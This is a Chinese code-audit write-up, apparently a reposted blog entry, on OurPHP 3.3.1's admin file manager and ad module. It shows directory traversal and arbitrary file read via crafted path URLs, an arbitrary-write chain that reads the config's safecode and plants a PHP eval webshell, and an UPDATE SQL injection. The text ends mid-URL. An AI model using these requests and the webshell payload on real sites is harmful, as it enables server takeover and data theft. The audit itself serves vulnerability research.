OurPHP3.3.1审计与测试

Posted bfengj

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了OurPHP3.3.1审计与测试相关的知识,希望对你有一定的参考价值。

Ourphp3.3.1审计与测试

目录遍历漏洞

还是先看一下后台关于模板的代码,首先发现对于传入的路径没有做waf,导致了目录遍历。

漏洞从client/manage/ourphp_filebox.php`的第134行开始:

}else{

    if(empty($_SESSION['ourphp_out']))
    {
        $file = listDirFiles('../../templates/'.$_GET['path']);
        $file2 = '../../templates/'.$_GET['path'];
    }else{
        $file = listDirFiles('../../'.$_GET['path']);
        $file2 = '../../'.$_GET['path'];  
    }


    if(isset($_GET['dir']))
    {
        foreach ($file as $op) {
            if(!strstr($op,".")){
                $list .= '
                <li>
                        <a href="?path='.$_GET['path'].'/'.$op.'&dir"><img src="../../skin/ico_file.png" width="80"><p>'.$op.'<br /><span>'.filearray($op).'</span></p></a>
                </li>
                ';
            }
            if(strstr($op,".html") || strstr($op,".css") || strstr($op,".js") || strstr($op,".php") || strstr($op,".htaccess")){

                $format = format($op);
                $list .= '
                <li>
                        <a href="?path='.$file2.'/'.$op.'&edit"><img src="../../skin/'.$format[0].'" width="80"><p>'.$op.'<br /><span>'.filearray($op).'</span></p></a>
                </li>
                ';
            }
            if(strstr($op,".jpg") || strstr($op,".jpeg") || strstr($op,".png") || strstr($op,".gif")){
                $list .= '
                <li>
                        <a href="'.$file2.'/'.$op.'" target="_blank"><img src="'.$file2.'/'.$op.'" width="80" height="70"><p>'.$op.'<br /><span>'.filearray($op).'</span></p></a>
                </li>
                ';
            }
        }
    }

listDirFiles函数的作用就是得到这个目录下的所有文件夹和文件。然后如果传入了$_GET['dir'],就会把没有点的,还有存在特定后缀的文件给打印出来,基本涵盖了大部分的文件,存在目录遍历:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-32UgKk8Y-1623396353917)(D:\\this_is_feng\\github\\CTF\\Web\\picture\\pic27.png)]

任意文件读取

还是模板这样对于传入的path没有做任何的限制导致的,漏洞开始于client/manage/ourphp_filebox.php函数的第175行:

    if(isset($_GET['edit']))
    {
        if(isset($_GET['path'])){
            $openfile = file_get_contents($_GET['path']);
            $openfile = str_replace("<textarea", "<ourphp_", $openfile);
            $openfile = str_replace("</textarea>", "</ourphp_>", $openfile);
            $list = '
            <form id="form1" name="form1" method="post" action="?path=edit&ok">
                <div class="boxedit">
                        <textarea id="code" name="code">'.$openfile.'</textarea>
                </div>
                <div class="boxok">

                    <p><a href="#"" onClick=window.open("tags.php","go","scrollbars=0,resizable=0,scrollbars=yes,width=1300,height=500,left=150,top=150,screenX=50,screenY=50")>在新窗口中弹出模板标签</a></p>
                    <p><a href="#"" onClick=window.open("ourphp_column.php?id=ourphp","go","scrollbars=0,resizable=0,scrollbars=yes,width=1300,height=500,left=150,top=150,screenX=50,screenY=50")>在新窗口中弹出栏目管理</a></p>
                    <p class="mt-50">
                    <input type="submit" name="Submit" value="保存代码" class="an" />
                    </p>
                </div>
                <input type="hidden" value="'.$_GET['path'].'|'.MD5($_GET['path'].$ourphp['safecode']).'" name="md">
            </form>
                <script id="script">
                var editor = CodeMirror.fromTextArea(document.getElementById("code"), {
                    lineNumbers: true,
                    ineWrapping: true,
                    mode: "markdown"
                });
                </script>
            ';
        }
    }

非常明显的:

            $openfile = file_get_contents($_GET['path']);
            $openfile = str_replace("<textarea", "<ourphp_", $openfile);
            $openfile = str_replace("</textarea>", "</ourphp_>", $openfile);

直接读:

http://www.ourphp331.com/client/manage/ourphp_filebox.php?path=../../../../../../../../../../../../../../../../flag&edit

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-KI0wJS98-1623396353920)(C:\\Users\\15997\\AppData\\Roaming\\Typora\\typora-user-images\\image-20210608150546944.png)]

任意文件写入1

还是模板这里,漏洞开始于client/manage/ourphp_filebox.php函数的第205行:

    if(isset($_GET['ok']))
    {
        if(empty($_POST['code']) || empty($_POST['md'])){
           $list = '<h1 style="float:left; margin-top:30px; padding-bottom:30px; font-size:20px; width:100%; text-align:center;">不能为空呀!</h1>';
        }
        $md = explode("|", $_POST['md']);
        $md2 = MD5($md[0].$ourphp['safecode']);
        if($md[1] != $md2){
            $list = '<h1 style="float:left; margin-top:30px; padding-bottom:30px; font-size:20px; width:100%; text-align:center;">验证不通过呀!</h1>';
        }

        $code = $_POST['code'];
		if(get_magic_quotes_gpc())
		{
			$code = stripslashes($code);
		}
        $code = str_replace("<ourphp_", "<textarea", $code);
        $code = str_replace("</ourphp_>", "</textarea>", $code);

        if(empty($_SESSION['ourphp_out']))
        {
            
            
            if(stristr($code,"<?php") || stristr($code,"<%") || stristr($code,"language=\\"php\\"") || stristr($code,"language='php'") || stristr($code,"language=php") || stristr($code,"<?=") || stristr($md[0],".php") || stristr($md[0],".asp") || stristr($md[0],".aspx") || stristr($md[0],".jsp") || stristr($md[0],".htaccess") || stristr($md[0],".ini") || stristr($md[0],".user.ini"))
            {
                $list = '<h1 style="float:left; margin-top:30px; padding-bottom:30px; font-size:20px; width:100%; text-align:center;">不要提交违法代码!</h1>';
            }else{

                $filego = fopen($md[0],'w');
                fwrite($filego,$code);
                fclose($filego);

                $list = '<h1 style="float:left; margin-top:30px; padding-bottom:30px; font-size:20px; width:100%; text-align:center;">编辑成功!</h1>';

            }

        }else{
            

            if(stristr($md[0],".asp") || stristr($md[0],".aspx") || stristr($md[0],".jsp") || stristr($md[0],".htaccess") || stristr($md[0],".ini") || stristr($md[0],".user.ini"))
            {
                $list = '<h1 style="float:left; margin-top:30px; padding-bottom:30px; font-size:20px; width:100%; text-align:center;">不要提交违法代码!</h1>';
            }else{

                $filego = fopen($md[0],'w');
                fwrite($filego,$code);
                fclose($filego);

                $list = '<h1 style="float:left; margin-top:30px; padding-bottom:30px; font-size:20px; width:100%; text-align:center;">编辑成功!</h1>';

            }

        }

    }

可以发现$_POST['md']就是要写入的文件名,$_POST['code']就是要写入的内容,然后会经过一次if(empty($_SESSION['ourphp_out']))的判断进入2种处理方式,如果这个$_SESSION['ourphp_out']为空的话,进行的就是很严格的过滤:

if(stristr($code,"<?php") || stristr($code,"<%") || stristr($code,"language=\\"php\\"") || stristr($code,"language='php'") || stristr($code,"language=php") || stristr($code,"<?=") || stristr($md[0],".php") || stristr($md[0],".asp") || stristr($md[0],".aspx") || stristr($md[0],".jsp") || stristr($md[0],".htaccess") || stristr($md[0],".ini") || stristr($md[0],".user.ini"))

没法写马。但是如果进入的是else,就是没什么用的过滤,可以轻松写马:

            if(stristr($md[0],".asp") || stristr($md[0],".aspx") || stristr($md[0],".jsp") || stristr($md[0],".htaccess") || stristr($md[0],".ini") || stristr($md[0],".user.ini"))

因此需要给$_SESSION['ourphp_out']赋值。看一下这个的由来,是在当前这个php文件的前面:

$v = (empty($_GET['validation']))? "0" : $_GET['validation'];
$c = (empty($_GET['code']))? "0" : $_GET['code'];
pw($v,$c);
if(isset($_GET['out'])){
    unset($_SESSION['ourphp_out']);
}

然后是pw函数:

function pw($a,$b)
{
    global $db,$ourphp;
    session_start();
    if ($a == $ourphp['validation'] && $b == $ourphp['safecode']){
         
        $_SESSION['ourphp_out'] = "ourphp";
        
    }else{

        if(empty($_SESSION['ourphp_out']))
        {
            include 'ourphp_checkadmin.php';

        }else{

            session_start();

        }

    }
}

需要if ($a == $ourphp['validation'] && $b == $ourphp['safecode']){。前一个登录后台的时候需要,既然目前是在后台的模板功能上,因此前一个已经知道了,后一个的话就需要利用到上面的任意文件读取,读一下配置文件:

http://www.ourphp331.com/client/manage/ourphp_filebox.php?path=../../config/ourphp_config.php&edit

就可以得到了,这样就可以成功写马:

http://www.ourphp331.com/client/manage/ourphp_filebox.php?path&ok&code=TW3fJCk9hqwwUBfcKnFbgpHxQqjRQE1dk9hqww&validation=1

code=<?php eval($_POST[0]);?>&md=../../1.php

SQL注入1(update注入)

漏洞位于client/manage/ourphp_adview.php,从第11行开始:

if(isset($_GET["ourphp_cms"]) == ""){
	echo '';
}elseif ($_GET["ourphp_cms"] == "edit"){

	if (!empty($_POST["OP_Adclass"])){
		$OP_Adclass = implode(',',$_POST["OP_Adclass"]);
	}else{
		$OP_Adclass = '';
	}

	$query = $db -> update("`ourphp_ad`","`OP_Adcontent` = '".admin_sql($_POST["OP_Adcontent"])."',`OP_Adclass` = '".$OP_Adclass."',`time` = '".date("Y-m-d H:i:s")."'","where id = ".intval($_GET['id']));
	$ourphp_font = 1;
	$ourphp_class = 'ourphp_ad.php?id=ourphp';
	require 'ourphp_remind.php';
			
}

$_GET['ourphp_cms']='edit',然后注意下面的SQL语句:

$query = $db -> update("`ourphp_ad`","`OP_Adcontent` = '".admin_sql($_POST["OP_Adcontent"])."',`OP_Adclass` = '".$OP_Adclass."',`time` = '".date("Y-m-d H:i:s")."'","where id = ".intval($_GET['id']));

注意到$OP_Adclass是通过POST传参然后implode而来的,没有经过任何的过滤,因此存在SQL注入:

http://www.ourphp

以上是关于OurPHP3.3.1审计与测试的主要内容,如果未能解决你的问题,请参考以下文章

PHP代码审计1-审计环境与调试函数

网站漏洞检测公司对wordpress sql注入漏洞代码审计与修复

海云安源代码审计服务有啥优势吗

bluecms 1.6 审计与渗透测试

bluecms 1.6 审计与渗透测试

Kitecms审计与测试